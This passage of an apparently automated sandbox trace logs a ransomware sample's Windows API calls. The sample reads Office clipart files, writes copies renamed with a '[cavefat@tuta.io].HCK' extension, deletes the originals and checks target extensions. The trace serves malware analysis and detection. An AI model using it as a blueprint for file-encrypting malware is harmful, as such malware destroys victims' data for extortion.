lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.819] SetEndOfFile (hFile=0x388) returned 1 [0168.821] CloseHandle (hObject=0x388) returned 1 [0168.822] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.822] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf")) returned 1 [0168.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0168.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0168.829] lstrlenW (lpString=".doc") returned 4 [0168.829] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.829] lstrlenW (lpString=".docx") returned 5 [0168.829] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0168.829] lstrlenW (lpString=".pdf") returned 4 [0168.829] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.829] lstrlenW (lpString=".xls") returned 4 [0168.829] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.829] lstrlenW (lpString=".xlsx") returned 5 [0168.829] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0168.829] lstrlenW (lpString=".ppt") returned 4 [0168.829] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0168.829] lstrlenW (lpString=".zip") returned 4 [0168.829] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.829] lstrlenW (lpString=".rar") returned 4 [0168.829] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.829] lstrlenW (lpString=".bz2") returned 4 [0168.829] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.830] lstrlenW (lpString=".7z") returned 3 [0168.830] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0168.830] lstrlenW (lpString=".dbf") returned 4 [0168.830] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0168.830] lstrlenW (lpString=".1cd") returned 4 [0168.830] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0168.830] lstrlenW (lpString=".jpg") returned 4 [0168.830] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0168.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0168.830] lstrlenW (lpString=".doc") returned 4 [0168.830] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.830] lstrlenW (lpString=".docx") returned 5 [0168.830] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0168.830] lstrlenW (lpString=".pdf") returned 4 [0168.830] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.830] lstrlenW (lpString=".xls") returned 4 [0168.830] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.830] lstrlenW (lpString=".xlsx") returned 5 [0168.830] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0168.830] lstrlenW (lpString=".ppt") returned 4 [0168.830] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0168.830] lstrlenW (lpString=".zip") returned 4 [0168.830] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.830] lstrlenW (lpString=".rar") returned 4 [0168.830] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.830] lstrlenW (lpString=".bz2") returned 4 [0168.830] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.830] lstrlenW (lpString=".7z") returned 3 [0168.830] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0168.830] lstrlenW (lpString=".dbf") returned 4 [0168.830] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0168.830] lstrlenW (lpString=".1cd") returned 4 [0168.830] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0168.830] lstrlenW (lpString=".jpg") returned 4 [0168.830] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.830] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0168.830] lstrlenW (lpString="J0152694.WMF") returned 12 [0168.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0168.835] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=1348) returned 1 [0168.835] CloseHandle (hObject=0x378) returned 1 [0168.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf")) returned 0x220 [0168.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0168.846] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.846] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0168.851] GetLastError () returned 0x0 [0168.851] ReadFile (in: hFile=0x3ac, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x544, lpOverlapped=0x0) returned 1 [0168.853] WriteFile (in: hFile=0x398, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x550, lpOverlapped=0x0) returned 1 [0168.854] ReadFile (in: hFile=0x3ac, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0168.854] WriteFile (in: hFile=0x398, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0168.854] SetEndOfFile (hFile=0x398) returned 1 [0168.857] CloseHandle (hObject=0x398) returned 1 [0168.859] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.860] SetEndOfFile (hFile=0x3ac) returned 1 [0168.865] CloseHandle (hObject=0x3ac) returned 1 [0168.867] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.867] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf")) returned 1 [0168.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0168.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0168.868] lstrlenW (lpString=".doc") returned 4 [0168.869] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.869] lstrlenW (lpString=".docx") returned 5 [0168.869] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0168.869] lstrlenW (lpString=".pdf") returned 4 [0168.869] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.869] lstrlenW (lpString=".xls") returned 4 [0168.869] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.869] lstrlenW (lpString=".xlsx") returned 5 [0168.869] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0168.869] lstrlenW (lpString=".ppt") returned 4 [0168.869] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0168.869] lstrlenW (lpString=".zip") returned 4 [0168.869] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.869] lstrlenW (lpString=".rar") returned 4 [0168.869] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.869] lstrlenW (lpString=".bz2") returned 4 [0168.869] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.869] lstrlenW (lpString=".7z") returned 3 [0168.869] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0168.869] lstrlenW (lpString=".dbf") returned 4 [0168.869] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0168.869] lstrlenW (lpString=".1cd") returned 4 [0168.869] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0168.869] lstrlenW (lpString=".jpg") returned 4 [0168.869] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0168.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0168.869] lstrlenW (lpString=".doc") returned 4 [0168.869] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.869] lstrlenW (lpString=".docx") returned 5 [0168.869] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0168.869] lstrlenW (lpString=".pdf") returned 4 [0168.869] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.869] lstrlenW (lpString=".xls") returned 4 [0168.869] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.869] lstrlenW (lpString=".xlsx") returned 5 [0168.869] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0168.869] lstrlenW (lpString=".ppt") returned 4 [0168.869] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0168.869] lstrlenW (lpString=".zip") returned 4 [0168.869] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.869] lstrlenW (lpString=".rar") returned 4 [0168.869] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.869] lstrlenW (lpString=".bz2") returned 4 [0168.869] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.869] lstrlenW (lpString=".7z") returned 3 [0168.870] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0168.870] lstrlenW (lpString=".dbf") returned 4 [0168.870] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0168.870] lstrlenW (lpString=".1cd") returned 4 [0168.870] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0168.870] lstrlenW (lpString=".jpg") returned 4 [0168.870] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.870] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0168.870] lstrlenW (lpString="J0152704.WMF") returned 12 [0168.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152704.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0168.873] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=1652) returned 1 [0168.873] CloseHandle (hObject=0x330) returned 1 [0168.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152704.wmf")) returned 0x220 [0168.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152704.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152704.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0168.886] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.886] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152704.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0168.892] GetLastError () returned 0x0 [0168.892] ReadFile (in: hFile=0x398, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x674, lpOverlapped=0x0) returned 1 [0168.895] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x680, lpOverlapped=0x0) returned 1 [0168.896] ReadFile (in: hFile=0x398, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0168.896] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0168.896] SetEndOfFile (hFile=0x370) returned 1 [0168.899] CloseHandle (hObject=0x370) returned 1 [0168.899] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.899] SetEndOfFile (hFile=0x398) returned 1 [0168.906] CloseHandle (hObject=0x398) returned 1 [0168.908] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.908] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152704.wmf")) returned 1 [0168.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0168.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0168.911] lstrlenW (lpString=".doc") returned 4 [0168.911] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.911] lstrlenW (lpString=".docx") returned 5 [0168.911] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0168.911] lstrlenW (lpString=".pdf") returned 4 [0168.911] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.911] lstrlenW (lpString=".xls") returned 4 [0168.911] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.911] lstrlenW (lpString=".xlsx") returned 5 [0168.911] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0168.911] lstrlenW (lpString=".ppt") returned 4 [0168.911] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0168.912] lstrlenW (lpString=".zip") returned 4 [0168.912] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.912] lstrlenW (lpString=".rar") returned 4 [0168.912] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.912] lstrlenW (lpString=".bz2") returned 4 [0168.912] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.912] lstrlenW (lpString=".7z") returned 3 [0168.912] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0168.912] lstrlenW (lpString=".dbf") returned 4 [0168.912] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0168.912] lstrlenW (lpString=".1cd") returned 4 [0168.912] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0168.912] lstrlenW (lpString=".jpg") returned 4 [0168.912] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0168.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0168.912] lstrlenW (lpString=".doc") returned 4 [0168.912] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.912] lstrlenW (lpString=".docx") returned 5 [0168.912] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0168.912] lstrlenW (lpString=".pdf") returned 4 [0168.912] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.912] lstrlenW (lpString=".xls") returned 4 [0168.912] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.912] lstrlenW (lpString=".xlsx") returned 5 [0168.912] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0168.912] lstrlenW (lpString=".ppt") returned 4 [0168.912] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0168.912] lstrlenW (lpString=".zip") returned 4 [0168.912] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.912] lstrlenW (lpString=".rar") returned 4 [0168.912] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.912] lstrlenW (lpString=".bz2") returned 4 [0168.912] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.912] lstrlenW (lpString=".7z") returned 3 [0168.912] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0168.912] lstrlenW (lpString=".dbf") returned 4 [0168.912] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0168.912] lstrlenW (lpString=".1cd") returned 4 [0168.912] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0168.912] lstrlenW (lpString=".jpg") returned 4 [0168.912] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.913] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0168.913] lstrlenW (lpString="J0152876.WMF") returned 12 [0168.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152876.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0168.918] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=7876) returned 1 [0168.918] CloseHandle (hObject=0x3ac) returned 1 [0168.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152876.wmf")) returned 0x220 [0168.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152876.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152876.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0168.927] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.928] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152876.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0168.934] GetLastError () returned 0x0 [0168.934] ReadFile (in: hFile=0x360, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1ec4, lpOverlapped=0x0) returned 1 [0168.939] WriteFile (in: hFile=0x330, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1ed0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1ed0, lpOverlapped=0x0) returned 1 [0168.940] ReadFile (in: hFile=0x360, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0168.940] WriteFile (in: hFile=0x330, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0168.940] SetEndOfFile (hFile=0x330) returned 1 [0168.946] CloseHandle (hObject=0x330) returned 1 [0168.948] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.948] SetEndOfFile (hFile=0x360) returned 1 [0168.955] CloseHandle (hObject=0x360) returned 1 [0168.959] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.959] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft 